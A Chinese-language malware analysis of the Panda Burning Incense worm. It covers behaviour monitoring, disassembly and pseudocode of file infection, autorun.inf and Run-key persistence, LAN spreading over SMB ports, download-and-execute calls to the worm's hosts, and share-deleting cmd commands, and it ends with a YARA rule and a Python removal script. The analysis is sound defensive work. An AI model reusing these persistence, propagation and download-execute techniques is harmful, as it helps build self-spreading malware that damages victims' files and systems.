熊猫烧香分析加专杀

熊猫烧香病毒分析

文章目录

    • 熊猫烧香病毒分析
  • 0. 样本信息
  • 1. 提取样本
    • 进程
    • 启动项
    • 网络
  • 2. 行为分析
    • 执行监控
    • 文件监控
    • 注册表监控
    • 进程监控
    • 网络监控
    • 行为监控
    • 小结
  • 3. 详细分析
    • 3.0 初始化
    • 3.1 func_0-sub_405250
    • 3.2 func_1-sub_40819c
      • 3.2.0 判断ini文件是否存在
      • 3.2.1 拷贝自身到系统路径
      • 3.2.2 感染函数
    • 3.3 func_2-sub_40d18c
      • 3.3.0 func_2_0
        • 线程func_2_0_thread
      • 3.3.1 func_2_1
        • 定时器回调函数func_2_1_timefunc
      • 3.3.2 func_2_2
        • 线程func_2_2_thread
    • 3.4 func_3-sub_40d088
      • 3.4.0 定时器回调函数func_3_timerfunc_0
      • 3.4.1 定时器回调函数func_3_timerfunc_1
      • 3.4.2 定时器回调函数func_3_timerfunc_2
      • 3.4.3 定时器回调函数func_3_timerfunc_3
      • 3.4.4 定时器回调函数func_3_timerfunc_4
      • 3.4.5 定时器回调函数func_3_timerfunc_5
  • 4. 解决方案
    • yara规则
    • clamav
    • 专杀脚本

0. 样本信息

大小: 30001 bytes
修改时间: 2018年7月14日, 8:40:21
MD5: 512301C535C88255C9A252FDF70B7A03
SHA1: CA3A1070CFF311C0BA40AB60A8FE3266CFEFE870
CRC32: E334747C

主要工具:PcHunter,火绒剑,IDA,OD。

1. 提取样本

主要关注是进程、启动项还有网络。

保存快照,运行病毒,虚拟机里的PE文件都被感染,PE信息被改变。

熊猫烧香分析加专杀_第1张图片

熊猫烧香分析加专杀_第2张图片

使用内核级ARK工具PcHunter分析一下病毒做了什么。

分析时如果需要u盘,那么u盘要设置为只读属性。

进程

在这里插入图片描述
注意蓝色的进程为用户进程。这个图标为熊猫的进程非常明显,路径为C:\Windows\System32\drivers\spo0lsv.exe

右键-定位到进程文件,把这个文件复制到分析目录中,一会分析后结束进程。

启动项

启动项根据路径,同样发现了恶意进程。右键结束。

在这里插入图片描述

服务和计划任务模块没有发现可疑进程。

网络

熊猫烧香分析加专杀_第3张图片

网络模块发现了该进程的网络连接,所以可以用WSExplorer抓包看一下流量。

熊猫烧香分析加专杀_第4张图片

选定恶意进程后抓到了很多数据包,其中大多经过加密。

其余模块没有发现可疑信息。

经过简单的分析,已经提取出了spo0lsv.exe。将恶意进程和启动项处理之后,开始进行行为分析。

2. 行为分析

将病毒拖拽到火绒剑中,监控病毒行为。

熊猫烧香分析加专杀_第5张图片

执行监控

主要看cmd.exe的命令行。

熊猫烧香分析加专杀_第6张图片

4个cmd执行了以下命令:

cmd.exe /c net share C$ /del /y
cmd.exe /c net share admin$ /del /y

这两个命令关闭了网络共享。

文件监控

过滤勾选文件修改与写入两项。

熊猫烧香分析加专杀_第7张图片

有很多.ini文件被创建,但是设置了隐藏属性,需要用PcHunter去除隐藏属性,打开后发现里面写入了日期。

熊猫烧香分析加专杀_第8张图片

注册表监控

勾选设置和创建注册表两项。

熊猫烧香分析加专杀_第9张图片

创建了两项注册表键值:

HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\spo0lsv_RASAPI32
HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\spo0lsv_RASMANCS

设置表值大多为让隐藏文件不显示。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue

进程监控

勾选全部进程相关项。

熊猫烧香分析加专杀_第10张图片

发现有遍历进程、执行spo0lsv.exe、打开设备,以及大量的查找窗口。

查看打开设备进程的调用堆栈,发现是调用了网络模块:

熊猫烧香分析加专杀_第11张图片

关注FILE_touch,可以发现关键的创建恶意文件的进程:

熊猫烧香分析加专杀_第12张图片

熊猫烧香分析加专杀_第13张图片

其中inf文件指定setup.exe自启动。

[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe

网络监控

值得一提,熊猫烧香最初是在网吧里通过网络共享传播的。

这些请求中有局域网IP、外网IP和大型网站域名,其中对大型网站的请求应该会为了测试网络功能是否正常。

行为监控

第一部分已经大致分析出来它的行为,感染exe,图标变为熊猫烧香,生成隐藏的ini文件。

小结

  • 感染文件,修改图标,创建desktop.ini文件写入日期;
  • 创建C:\Windows\System32\drivers\spo0lsv.exe,并注册自启动;
  • 命令行关闭网络共享;
  • C盘创建inf文件,设置setup.exe自启动;
  • 注册表添加了新的注册项spo0lsv_RASAPI32,spo0lsv_RASMANCS;
  • 涉及网络请求。

3. 详细分析

大概流程就是AO分析法:用IDA分析并猜测功能,用OD验证功能。这个过程可以用IDA生成map文件,OD插件LoadMapEx加载。

之前根据PEid的信息,病毒文件有FSG压缩壳,所以用x32dbg及其scylla插件脱壳。

熊猫烧香分析加专杀_第14张图片

脱壳后用PEid深度扫描,显示语言是Delphi 6-7。

于是用IDA打开文件,添加BDS签名。

熊猫烧香分析加专杀_第15张图片

主函数中有3个没有解析出来的函数:· sub_405250, sub_40819c, sub_40d18c, sub_40d088,下面要依次分析OEP开头以及这4个函数。

3.0 初始化

seg000:0040D292                 mov     ebx, offset g_dwArray206
seg000:0040D297                 mov     esi, offset Msg
seg000:0040D29C                 xor     eax, eax        ; eax = 0
seg000:0040D29E                 push    ebp
seg000:0040D29F                 push    offset loc_40D669
seg000:0040D2A4                 push    dword ptr fs:[eax]
seg000:0040D2A7                 mov     fs:[eax], esp   ; seh
seg000:0040D2AA                 mov     eax, dword_40D678
seg000:0040D2B0                 mov     [ebx], eax
seg000:0040D2B2                 mov     eax, dword_40D67C
seg000:0040D2B8                 mov     [ebx+4], eax
seg000:0040D2BB                 mov     ax, word_40D680
seg000:0040D2C2                 mov     [ebx+8], ax
seg000:0040D2C6                 mov     al, byte_40D682
seg000:0040D2CC                 mov     [ebx+0Ah], al   ; init g_dwArray206
seg000:0040D2CF                 mov     eax, offset dword_40F7DC
seg000:0040D2D4                 mov     edx, offset dword_40D68C
seg000:0040D2D9                 call    @System@@LStrAsg$qqrpvpxv ; System::__linkproc__ LStrAsg(void *,void *)
seg000:0040D2DE                 mov     eax, offset dword_40F7E0
seg000:0040D2E3                 mov     edx, offset dword_40D6B0
;...
seg000:0040D5D3                 lea     ecx, [ebp+var_14]
seg000:0040D5D6                 mov     edx, offset aXboy_0 ; "xboy"
seg000:0040D5DB                 mov     eax, offset dword_40D8A0
seg000:0040D5E0                 call    sub_405250
seg000:0040D5E5                 mov     edx, [ebp+var_14]
seg000:0040D5E8                 mov     eax, dword_40F7D4
seg000:0040D5ED                 call    @System@@LStrCmp$qqrv ; System::__linkproc__ LStrCmp(void)
seg000:0040D5F2                 jz      short loc_40D5FD
seg000:0040D5F4                 push    0               ; uExitCode
seg000:0040D5F6                 call    j_ExitProcess_0

OEP在设置SEH之后,初始化一个全局4字节数组,多次调用lStrAsg()初始化字符串变量,

F5生成的伪代码有误,尤其是4个函数,enter进入后esc退出就可以修正:

熊猫烧香分析加专杀_第16张图片

执行完第4个函数后,有一个消息循环,等待程序结束。


  sub_405250((int)dword_40D8A0, (int)"xboy", (volatile signed __int32 *)&v6);// 1
  System::__linkproc__ LStrCmp(0, v6);
  if ( !v0 )
    j_ExitProcess_0(0);
  sub_405250((int)dword_40D8DC, (int)"whboy", (volatile signed __int32 *)&v5);// 1
  System::__linkproc__ LStrCmp(dword_40D908, v5);
	//两次验证

  if ( !v0 )
    j_ExitProcess_0(0);
  sub_40819C();                                 // 2
  sub_40D18C();                                 // 3
  sub_40D088();                                 // 4
  while ( j_GetMessageA(&Msg, 0, 0, 0) )
    j_DispatchMessageA(&Msg);
  __writefsdword(0, v2);
  v4 = (int *)&loc_40D670;
  v1 = System::__linkproc__ LStrArrayClr(&v5, 2);
  System::__linkproc__ Halt0(v1);
}

3.1 func_0-sub_405250

两次调用这个函数后,会进行字符串比较,而且这个函数传递了局部变量地址,所以猜测这个函数会生成校验字符串。

熊猫烧香分析加专杀_第17张图片

OD加载程序和map文件,在这里下断点分析。调用这个函数后,局部变量指向了一段字符串:"***武*汉*男*生*感*染*下*载*者***",然后校验,校验不通过则结束进程。第二次调用该函数也是这样的流程,只是字符串变成了uup2…uxetm/vhjnx.fdu/nsm&uyt"

3.2 func_1-sub_40819c

3.2.0 判断ini文件是否存在

函数开头执行了3个函数:

先是System::ParamStr(int),传入了一个局部地址,那么观察这个地址,执行之后,变为当前程序路径。

然后是一个未识别的库函数:

004081CA   .  8B85 48FCFFFF mov eax,dword ptr ss:[ebp-0x3B8]
004081D0   .  8D95 4CFCFFFF lea edx,dword ptr ss:[ebp-0x3B4]
004081D6   .  E8 99D3FFFF   call 

这个函数传入了上一个函数用到的地址和一个紧挨的地址,观察第2个地址,调用之后变为当前文件夹路径。所以,我在IDA中把这个函数命名为func_GetCurDir,更新map文件并及时保存到主机。

在这里插入图片描述

然后,又调用了lStrCat,连接文件夹路径和Desktop_.ini,得到了要生成的文件路径,后面应该有地方会写入日期。

004081DB   .  8D85 4CFCFFFF lea eax,dword ptr ss:[ebp-0x3B4]
004081E1   .  BA 98874000   mov edx,                    ;  ASCII "Desktop_.ini"
004081E6   .  E8 E9BCFFFF   call 
  //使用上面的指令获取Desktop_.ini路径
  if ( Sysutils::FileExists(pCurDir) )          // 如果文件存在
  {
    j_DeleteFileA(v4);	//删除
  }

然后,程序判断这个ini文件是否存在,如果存在,就会删除它。

3.2.1 拷贝自身到系统路径

然后,再次获取当前路径,并调用了另一个用户函数后进入循环,循环中也调用了2个没有识别成功的函数。进入一层查看,其实unknown_libname_70只是调用了LStrFromPCharLen`。

407650传入了新获得的当前路径和局部变量地址,OD中观察ebp-4,发现调用这个函数之后指向了"MZ".

熊猫烧香分析加专杀_第18张图片

循环索引初始化为一个比"MZ"地址低4字节的DWORD,值为0x018200.

012933D8  01 00 00 00 00 82 01 00  .....?.
012933E0  4D 5A 00 00 00 00 00 00  MZ......

但是,这个循环在OD中一次也没有执行,因为第二个条件*((char *)a2 + i - 1)一开始就不满足。

经过后面的分析,如果程序是本感染的exe,这一段循环就会执行。

所以直接往下分析。

 if ( !v79 )                                   // v79已经clr,所以!v79为真
  {
    System::ParamStr(0);                        // 获取当前路径
    Sysutils::AnsiUpperCase(pCurPath_4, (LPSTR *)&pCurPathUpper_4);
    pUpperAsciiPath = pCurPathUpper_4;          // 大写路径字符串
    GetSystemDirString((int *)&pSysPath_0);
    v39 = pSysPath_0;                           // 获取系统目录字符串
                                                // C:\Windows\system32\
    System::__linkproc__ LStrCatN(&v61, 3, v4, "drivers\\", "spo0lsv.exe");// 
                                                // C:\Windows\system32\drivers\spo0lsv.exe
    Sysutils::AnsiUpperCase(v61, (LPSTR *)&v62);// 
                                                // C:\WINDOWS\SYSTEM32\DRIVERS\SPO0LSV.EXE
    System::__linkproc__ LStrCmp((int)pUpperAsciiPath, v62);
    if ( !isStrEqual )                          // !isStrEqual为真
    {
      func_EnumProcessAndKillSpo0lsv_exe("spo0lsv.exe");
      func_EnumProcessAndKillSpo0lsv_exe("spo0lsv.exe");// 
                                                // 查找`spo0lsv.exe`是否启动,如果启动,就将它终止
      pUpperAsciiPath = (int *)128;
      GetSystemDirString((int *)&pSysPath_1);
      v39 = pSysPath_1;                         // 获取系统目录字符串
                                                // C:\Windows\system32\
      System::__linkproc__ LStrCatN(&v59, 3, v6, "drivers\\", "spo0lsv.exe");
      pEvilFile_0 = (const CHAR *)System::__linkproc__ LStrToPChar(v59);// 
                                                // C:\Windows\system32\drivers\spo0lsv.exe
      j_SetFileAttributesA(pEvilFile_0, vTmp);  // Set FIle attribute->NORMAL
      j_Sleep(1u);
      vTmp = 0;
      GetSystemDirString((int *)&pSysPath_2);
      v36 = pSysPath_2;                         // 获取系统目录字符串
                                                // C:\Windows\system32\
      System::__linkproc__ LStrCatN(&v57, 3, v8, "drivers\\", "spo0lsv.exe");
      pEvilFile_1 = (const CHAR *)System::__linkproc__ LStrToPChar(v57);// 
                                                // C:\Windows\system32\drivers\spo0lsv.exe
      System::ParamStr(0);
      v10 = (const CHAR *)System::__linkproc__ LStrToPChar(pCurPath_5);// 
                                                // 再次获取当前文件路径
      j_CopyFileA(v10, pEvilFile_1, v34);       // copy file
                                                // ExistingFileName = "C:\Users\15pbwin7\Desktop\xiongmao\xiongmao_dump_SCY.exe"
                                                // NewFileName = "C:\Windows\system32\drivers\spo0lsv.exe"
                                                // FailIfExists = FALSE
      v34 = 1;
      GetSystemDirString(&pSysPath_3);
      System::__linkproc__ LStrCatN(&v54, 3, v11, "drivers\\", "spo0lsv.exe");
      pCmdLine = (const CHAR *)System::__linkproc__ LStrToPChar(v54);// 
                                                // C:\Windows\system32\drivers\spo0lsv.exe
      j_WinExec(pCmdLine, nCmdShow);            // 执行恶意文件
      j_ExitProcess_0(0);
    }
  }

这一部分会先遍历进程,查找spo0lsv.exe是否启动,如果启动,就将它终止。

func_EnumProcessAndKillSpo0lsv()
{
	v2 = (void *)CreateSnapShot(2, 0);            // 创建快照
  for ( i = func_ProcessFirst(v2, &v15) >= 1; i; i = func_ProcessNext(v2, &v15) >= 1 )
  {
    if ( find_proc )
    {
      v1 = (char *)func_TerminateProc(v16);		//终止进程
      j_CloseHandle_0(v2);
    }
  }
  j_CloseHandle_0(v2);                          // 关闭快照
}

程序会自我拷贝到系统路径:``\drivers\spo0lsv.exe,并且马上执行,之后终止进程。新的进程就不会在这里终止了,而是继续执行下面的代码。但是无论如何动态调会,都不能执行下面的指令,于是暂时略过,开始分析sub_40d18c`。

3.2.2 感染函数

感染exe的函数是407F00.

选择一个被感染的exe,用OD加载,程序与病毒本身是一样的。开头还会那两处校验,用“xboy”和“whboy”作为秘钥分别解密一段字符串进行验证,验证失败就会结束进程。

熊猫烧香分析加专杀_第19张图片

再往下发现三个分析过的关键函数,其实包括上面的验证,都是病毒本身的程序。

被感染文件和病毒本身的区别在于,第一个关键函数里会删除Desktop_.ini,然后执行之前没有分析的循环,之后生成源文件并把本感染的文件本身删除。另外两个恶意函数没有区别。

被感染的程中间存储了感染前的真正PE,恢复前后信息如下:

熊猫烧香分析加专杀_第20张图片

被感染文件结尾有这样的信息:

Whboy文件名.后缀.后缀.正常文件大小

感染的关键代码:

pCurVirusPath_2 = (const CHAR *)System::__linkproc__ LStrToPChar(pCurVirusPath_1);
if ( j_CopyFileA(pCurVirusPath_2, pTarget_2, 0) )// 病毒覆盖目标文件
{
    System::__linkproc__ LStrCatN(&pPostFix, 6, v5, arg1, dword_408198);// 
    // "Whboy文件名.后缀.后缀 文件大小"
    System::__linkproc__ LStrLAsg(&PE_1, pTargetPE);// 指向读出来的PE
    v6 = System::__linkproc__ Append(&v24);// 追加
    v7 = WriteInfContet((int)&v24, PE_1);// 原文件写入新文件(病毒)末尾
    v9 = WriteInfContet((int)&v24, pPostFix);// 文件追加后缀
}

3.3 func_2-sub_40d18c

因为后面函数太多,所以从这里开始在IDA中用标号给函数命名。

这个函数调用了3个函数。

int __fastcall func_2()
{
  int v0; // eax@0
  int v1; // edx@0
  int v2; // ecx@0

  func_2_0();
  func_2_1();
  return func_2_2(10);
}

3.3.0 func_2_0

0:0040A5B0 func_2_0        proc near               ; CODE XREF: func_2 p
seg000:0040A5B0                 push    ecx
seg000:0040A5B1                 push    esp             ; lpThreadId
seg000:0040A5B2                 push    0               ; dwCreationFlags
seg000:0040A5B4                 push    0               ; lpParameter
seg000:0040A5B6                 push    offset func_2_0_thread ; lpStartAddress
seg000:0040A5BB                 push    0               ; dwStackSize
seg000:0040A5BD                 push    0               ; lpThreadAttributes
seg000:0040A5BF                 call    j_CreateThread_0
seg000:0040A5C4                 pop     edx
seg000:0040A5C5                 retn
seg000:0040A5C5 func_2_0        endp

这里创建了一个线程,执行的函数为sub_40A48C,暂时命名为func_2_0_thread

线程func_2_0_thread

简化流程:

void __userpurge __noreturn func_2_0_thread(LPVOID lpThreadParameter)
{  
  FindDriverC((const void **)&v21, v1, v2, v3);  // v21 = "C" 代表C盘
  v4 = func_get_a_num((int)v21);
  while ( 1 )
  {
    do
      v5 = v4;
    while ( v4 < 1 );
    do
    {
      pC = "C:\\";
      func_recurion_0(*(int *)v12);         // 一个递归函数
      --v5;
    }
    while ( v5 );
  }
}

循环中调用了一个很长的函数,经过后面的分析,它是递归函数,所以命名为func_recurion_0

int __fastcall func_recurion_0(int eax0)
{
	if ( v176[v1 - 1] != '\\' )                   // 条件为假
    System::__linkproc__ LStrCat((const void **)&v176, dword_40A1B0);
  System::__linkproc__ LStrCat3(&pAllInC, v176, "*.*");// 
                                                // "C:\\*.*"
  if ( !Sysutils::FindFirst(pAllInC, '?', &v171) )
  {
    while ( (v172 & 0x10) == 0x10 && *(_BYTE *)pRecycleBin != 0x2E )
    {
      /*
      	栈中存储了指向文件夹名称的指针,以"C:\\Recycle.Bin"间隔
      */
      if ( !Sysutils::FileExists(pDesktopIni_0) )		//如果ini文件不存在
      {
				j_GetLocalTime(&SystemTime); 
        Mxdsql::ShowSQLWindow(pDate_1, v110);   // 写入日期
        func_recurion_0(v108);                // 递归!!!!!!!!
        goto LABEL_60;
      }
      
      ReadIniFile(a1, (const void **)&pDate_0);
      j_GetLocalTime(&SystemTime);
      System::__linkproc__ LStrCmp((int)pDate_0, pDate_1);
      
      if ( !isStrEqual )                        // 如果已经存在同名ini且读出日期字符串不相等
      {
       	Mxdsql::ShowSQLWindow(pDate_1, v116);   // 写入日期 
      }
      
      System::__linkproc__ LStrCat3(&pDesktopIni_2, v176, pRecycleBin);// 
                                                // "C:\\$Recycle.Bin\\Desktop_.ini"
      func_recurion_1(pDesktopIni_2);           // 又是一个递归函数
      
LABEL_60:
      if ( Sysutils::FindNext(&vArray) )
        goto LABEL_61;
    }
    
    if ( *(_BYTE *)pRecycleBin != '.' )
    {
      sub_405348(pRecycleBin, &v106);
      Sysutils::UpperCase(v106);
      System::__linkproc__ LStrCmp(v107, (int)"GHO");
      if ( isStrEqual )
      {
        System::__linkproc__ LStrCat3(&v105, v176, pRecycleBin);
        v40 = (const CHAR *)System::__linkproc__ LStrToPChar(v105);
        j_DeleteFileA(v40);		//删除gho文件
      }
       
       if ( sub_40791C(v104) < 0xA00000 )
      {
         /*
         	栈中填充各种文件类型
         */
         if("setup.exe" || "NTDETECT.COM")
            goto LABEL_60;
         if("EXE" || "SCR" || "PIF" || "COM")
         {
           System::__linkproc__ LStrCat3(&v84, v176, pRecycleBin);
           sub_407F00(v96);                      // ;
                                                // 感染exe,scr, pif, com
         }
         if("htm" || "html" || "asp" || "php" || "jsp" || "aspx")
         {
           System::__linkproc__ LStrCat3(&v60, v176, pRecycleBin);
           sub_4079CC(v60);
				 }
      }
    }
    goto LABEL_59;
}

可以看到,这个递归函数里还有另一个递归函数,它们的功能大致相同,都会感染指定类型的文件,创建Desktop_.ini并写入日期。

熊猫烧香分析加专杀_第21张图片

以第2个递归函数为例,栈中存放了很多看似文件夹名称字符串的指针,并且以序列号间隔。序列号和目录连接后得到的目录在PcHunter中查看也是存在的。

熊猫烧香分析加专杀_第22张图片

熊猫烧香分析加专杀_第23张图片

另外还有被感染的文件类型:

熊猫烧香分析加专杀_第24张图片

3.3.1 func_2_1

0:0040C374 func_2_1        proc near               ; CODE XREF: func_2+5 p
seg000:0040C374                 push    offset func_2_1_timefunc ; lpTimerFunc
seg000:0040C379                 push    1770h           ; uElapse,6s
seg000:0040C37E                 push    0               ; nIDEvent
seg000:0040C380                 push    0               ; hWnd
seg000:0040C382                 call    j_SetTimer
seg000:0040C387                 mov     dword_40E2AC, eax
seg000:0040C38C                 retn
seg000:0040C38C func_2_1        endp

这个函数设置了一个定时器,每隔6s执行一次函数,检查创建的文件是否仍然存在,也算是一种自我保护。

定时器回调函数func_2_1_timefunc

这个定时器的回调函数很明显,用来创建C:\\setup.exe, C:\\autorun.inf,根据IDA,伪代码如下:

void func_2_1_timefunc()
{
  while ( 1 )
  {
    pSetupExe = "C:\\setup.exe");
    pAutoRunInf = "C:\\autorun.inf"); 
    if ( FileExists(pSetupExe) )
    {
      j_DeleteFileA(pSetupExe);
      // 删除旧的setup.exe
      j_CopyFileA("C:\Windows\System32\drivers\spo0lsv.exe", "C:\\setup.exe");
      // C:\Windows\System32\drivers\spo0lsv.exe
      // 复制为新的setup.exe
    }
    else
    {
      j_CopyFileA("C:\Windows\System32\drivers\spo0lsv.exe", "C:\\setup.exe");
      // C:\Windows\System32\drivers\spo0lsv.exe
      // 复制为setup.exe
    }

    if ( !FileExists(pAutoRunInf) )
    {
      j_CreateFileA_0(pAutoRunInf);
      WriteInfContet(
              hFile,         "AutoRun]\r\nOPEN=setup.exe\r\nshellexecute=setup.exe\r\nshell\\Auto\\command=setup.exe\r\n");
    }
    ReadInfContet(pAutoRunInf, (const void **)&v52, v3, a2, a3);
    v10 = StrCmp(
        v52,
 "AutoRun]\r\nOPEN=setup.exe\r\nshellexecute=setup.exe\r\nshell\\Auto\\command=setup.exe\r\n");
      if ( !v10 )
        break;
  }
  LABEL_19:
  
}

如果setup.exe已经存在,就会覆盖它。否则直接创建。autorun.inf是一样的流程,只不过如果已经存在,会读取内容检查是否本来就由自己创建。

autorun.inf文件写入的内容:

[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe

也就是让刚刚复制的恶意文件自启动。

3.3.2 func_2_2

int __fastcall func_2_2(__int16 arg0_0xA)
{
  System::Randomize();
  for ( ; v1; --v1 )
    System::BeginThread(0, 0, (int (__fastcall *)(void *))func_2_2_thread, 0, 0, (unsigned int *)&v6);
  return 0 ;
}

这里创建了0xA个调用同一个函数的线程。

线程func_2_2_thread

int func_2_2_thread()
{
  
  v0 = func_CreateClass((int **)dword_40A65C, 1u);// *v0 == 40A65C
  sub_40B864(v0);
  return 0;
}

第一个函数很短,调用了ClassCreate(),所以暂时这样命名。第2个函数伪代码如下:

void __fastcall sub_40B864(int arg0)
{
  while ( 1 )
  {
    while ( !j_InternetGetConnectedState(0, 0) )
      j_Sleep(0x3E8u);
    
    sub_40B520(v12);
    sock_0 = j_socket(2, 1, 6);
    name.sa_family = 2;
    name.sa_data[0] = j_htons(139u); // 139端口套接字
		name.sa_data[2] = j_inet_addr(pIP);
    if ( j_connect(sock_0, &name, 16) == -1 )
    {
      sock_1 = j_socket(2, 1, 6);
      name.sa_family = 2;
      name.sa_data[0] = j_htons(445u);// 445端口套接字
      name.sa_data[2] = j_inet_addr(pIP);
      if ( j_connect(sock_1, &name, 16) != -1 )	
      {
        sj_closesocket(sock_1);
        System::__linkproc__ LStrCat3(arg0 + 24, "\\\\", *(_DWORD *)(v12 + 20));
        func_netOperation(arg0_, *(_DWORD *)(arg0_ + 24));
      }
    }
    else
    {
     func_netOperation(arg0_, *(_DWORD *)(arg0_ + 24));
    } 
  }
}

发现了网络套接字创建和连接流程,所以这个线程是网络相关的,它会连接某个ip的139或445端口,根据第一部分PcHunter的分析,它应该会连接局域网IP。

连接成功后会执行func_netOperation这个函数,其中恶意文件被再次拷贝,并涉及管理员操作。具体做了什么暂时忽略。

熊猫烧香分析加专杀_第25张图片

3.4 func_3-sub_40d088

UINT_PTR func_3()
{
  dword_40E2B0 = j_SetTimer(0, 0, 1000u, func_3_timerfunc_0);// 1s
  dword_40E2B4 = j_SetTimer(0, 0, 1200000u, func_3_timerfunc_1);// 20min
  uIDEvent = j_SetTimer(0, 0, 10000u, func_3_timerfunc_2);// 10s
  j_SetTimer(0, 0, 6000u, func_3_timerfunc_3);  // 6s
  j_SetTimer(0, 0, 10000u, func_3_timerfunc_4); // 10s
  return j_SetTimer(0, 0, 1800000u, func_3_timerfunc_5);// 30min
}

最后一个关键函数创建了6个定时器。

3.4.0 定时器回调函数func_3_timerfunc_0

void __stdcall func_3_timerfunc_0()
{
 sub_4051BC((LPCSTR)0x80000001, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", (BYTE *)"svcshare", pEvil_);// 
                                                // 注册表启动项
                                                // 0x80000001-HKEY_CURRENT_USER
  sub_4059F0(
    HKEY_LOCAL_MACHINE,
 (int)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL\\CheckedValue",
    0);                                         // 隐藏属性
                                                // 0x80000002-HKEY_LOCAL_MACHINE
}

这个回调函数每隔1s就会重新注册恶意文件为启动项,并且设置路径隐藏属性。

3.4.1 定时器回调函数func_3_timerfunc_1

void __fastcall func_3_timerfunc_1(int a1, int a2, int a3)
{
  Thrd_DownloadExecFile(a1, a2, a3);
}

这个回调函数每隔20min执行一次,它会创建一个线程,获取html资源:

sub_40C4EC("`uup2..wv/ak97.ko.6>.tp&uyt", &pUpTxt);// pUpTxt = 
                                                // "http://www.ac86.cn/66/up.txt"
pHTML_ = (const CHAR *)System::__linkproc__ LStrToPChar(pUpTxt);
sub_40C5E0(pHTML_);                           // 获取HTML
DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="refresh" content="0; url=http://817.dopa.com/?dm=ac86.cn&acc=19FFCF05-7D9A-488F-8F14-7DB590209E35&poprequest=1">
<script type="text/javascript">
function redirect(){
	window.location.href = "http://817.dopa.com/?dm=ac86.cn&acc=19FFCF05-7D9A-488F-8F14-7DB590209E35&poprequest=1";	
}
setTimeout('redirect()',1500);
script>
<title>title>
head>
<body>
body>
html>

这个页面进行了重定向,目前已经失效。

然后执行这样一个循环体:

getSepStrLen(v16, v17)
URLDownloadToFileA("C:\\windows\\xhtml1-transitional.dtd>");
j_WinExec(pFile, 0);	// 执行这个文件

也就是下载恶意文件并执行。

3.4.2 定时器回调函数func_3_timerfunc_2

void __fastcall func_3_timerfunc_2(int a1, int a2, int a3)
{
  int v3; // [sp-4h] [bp-4h]@1
  j_CreateThread_0(0, 0, Thrd_DownloadExecFile, 0, 0, &v3);
  j_CreateThread_0(0, 0, ExecEvilCmd, 0, 0, &v3);
  j_KillTimer(0, 0);
}

这个回调函数每隔10s执行一次,每次创建两个线程,,然后关闭之前设置的所有定时器。

其中一个线程是刚刚分析的下载资源并执行的函数,另一个经过分析,是执行命令的线程:

j_WinExec("cmd.exe /c net share C$ /del /y", 0);                 // 执行 
j_WinExec("cmd.exe /c net share admin$ /del /y", 0);

而且,这个函数会关闭之前设置的定时器。

3.4.3 定时器回调函数func_3_timerfunc_3

这个线程目标很明显,是操作注册表,关闭杀软启动项和服务。

3.4.4 定时器回调函数func_3_timerfunc_4

这个线程会请求5个页面,测试网络功能。网址需要先解密。

成功打开后,会获取网站html资源。OD观察栈窗口,可以看到搜狐没有返回,谷歌连接失败返回了“QQ”。

3.4.5 定时器回调函数func_3_timerfunc_5

最后一个定时器每隔30分钟执行一次回调函数,这个函数会从一个网站下载html,然后执行。伪代码如下:

void __usercall func_3_timerfunc_5(int a1@<ebx>, int a2@<edi>, int a3@<esi>)
{
  html = GetHtml("http://update.whboy.net/worm.txt");
  j_URLDownloadToFileA("C:\\windows\\EVILFILE", html);// 下载文件
  j_WinExec("C:\\windows\\EVILFILE", 0);
}

4. 解决方案

yara规则

在带壳的文件中查找字符串“xboy”和“whboy”,发现它们没有被加密,于是可以编写一个简单的yara规则:

rule xiongmao
{
	strings:
		$xboy = "xboy"
		$whboy = "whboy"
	condition:
		$xboy at 25927 or $whboy at 18720
}

在这里插入图片描述

clamav

也可以查出病毒,所以就没必要再添加hdb到数据库了:

----------- SCAN SUMMARY -----------
Known viruses: 4833061
Engine version: 0.99.2
Scanned directories: 1
Scanned files: 3
Infected files: 3
Data scanned: 0.21 MB
Data read: 0.21 MB (ratio 1.00:1)
Time: 15.678 sec (0 m 15 s)

专杀脚本

#coding:utf-8
import os
import psutil
import traceback
import time
import _winreg
import stat

def getFiles(strRootPath, listFile):
	if "Windows" in strRootPath:
		return
	listDirOrFile = os.listdir(strRootPath)
	for file_or_dir in listDirOrFile:
		file_or_dir = os.path.join(strRootPath, file_or_dir)
		
		if os.path.isdir(file_or_dir):
			getFiles(file_or_dir, listFile)
		elif file_or_dir.endswith(".exe"):
			with open(file_or_dir, "rb") as fr:
				fr.seek(0x7531, 0)
				if "MZ" == fr.read(2):
					dictFiles["exe"].append(file_or_dir)
		elif file_or_dir.endswith("Desktop_.ini"):
			dictFiles["ini"].append(file_or_dir)

def del_file(strFilePath):
	try:
		os.remove(strFilePath)
	except Exception as e:
		print("delete %s failed" % strFilePath)
		print(traceback.print_exc())
	else:
		print("delete %s file successfully" % strFilePath)

			
if __name__ == "__main__":

	for proc in psutil.process_iter():
		pinfo = proc.as_dict(attrs=['pid', 'name'])
		#print pinfo
		if "spo0lsv.exe" != pinfo['name']:
			continue
			
		xiongmao = psutil.Process(pinfo['pid'])
		
		connections = xiongmao.connections()
		xiongmaoPath = xiongmao.cmdline()[0]
		cwd = xiongmao.cwd()
		
		print("cmdline: %s" % xiongmaoPath)
		print("cwd: %s" % cwd)
		#for conn in connections:
			#print conn
			
			
			
		
		# 1. kill process
		try:
			xiongmao.kill()
		except Exception as e:
			print("kill failed")
			print(str(e))
		else:
			print("kill evil proc")
		
		time.sleep(0.5)
		
		# 2. delete file made by virus:
		#	c:\windows\system32\drivers\spo0lsv.exe
		#	c:\setup.exe
		#	c:\autorun.inf
		del_file(xiongmaoPath)
		# remove hiden and readonly attr
		os.system(r"attrib -s -r -h C:\setup.exe")
		os.system(r"attrib -s -r -h C:\autorun.inf")
		del_file(r"C:\autorun.inf")
		del_file(r"C:\setup.exe")
		
  
		# 3. delete regKeys made by virus
